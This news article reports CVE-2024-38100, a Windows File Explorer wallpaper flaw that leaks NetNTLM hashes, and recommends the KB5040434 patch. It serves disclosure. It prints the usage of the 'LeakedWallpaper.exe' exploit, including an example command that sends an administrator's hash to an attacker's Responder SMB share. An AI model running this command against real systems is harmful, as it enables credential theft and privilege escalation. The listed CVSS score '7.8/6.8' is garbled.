A newly discovered vulnerability in Windows File Explorer has raised alarms within the cybersecurity community.
Identified as CVE-2024-38100, this security flaw allows attackers to escalate privileges by exploiting a seemingly innocuous wallpaper feature.
Released on July 9, 2024, CVE-2024-38100 is a critical vulnerability that Microsoft has classified as an “Important” security issue.
The flaw, tracked under CWE-284 for Improper Access Control, carries a CVSS score of 7.8/6.8, indicating a significant risk to affected systems.
The Exploit
The vulnerability centers around the ability to leak a user’s NetNTLM hash from any session on the computer, even from a low-privileged user account.
The exploit tool, named “LeakedWallpaper.exe,” can be executed with the following command:
.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg
For example:
.\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg
This command targets a specific session ID, allowing an attacker to capture the NetNTLM hash of a privileged account, such as an administrator, from a low-privileged session.
The attacker operates from a low-privileged account (“exploit”) and targets a privileged account (“administrator”) to obtain its NetNTLM hash.
The attacker’s machine (Responder IP: 172.16.0.5) communicates with the victim’s machine (Windows IP: 172.16.0.2) to execute the exploit.
Microsoft has addressed this vulnerability in the KB5040434 update. Users and administrators are strongly advised to apply this update immediately to protect their systems from potential attacks.
CVE-2024-38100 underscores the importance of continuous vigilance and timely updates in maintaining cybersecurity.
As attackers find innovative ways to exploit even the most mundane features, users must stay informed and proactive in safeguarding their digital environments.
For more information on this vulnerability and its mitigation, visit the official Microsoft security advisory page.
Are you from SOC and DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Free Access
A critical security vulnerability has been identified in the Common Log File System (CLFS) driver…
The Linux Distros is generally acknowledged as the third of the holy triplet of PC…
A significant security vulnerability was uncovered in the AWS Cloud Development Kit (CDK), an open-source…
NVIDIA has issued essential security updates for its GPU Display Driver, addressing multiple vulnerabilities affecting…
GitLab has announced the release of critical security updates for its Community Edition (CE) and…
Multiple Xerox printer models, including EC80xx, AltaLink, VersaLink, and WorkCentre, have been identified as vulnerable…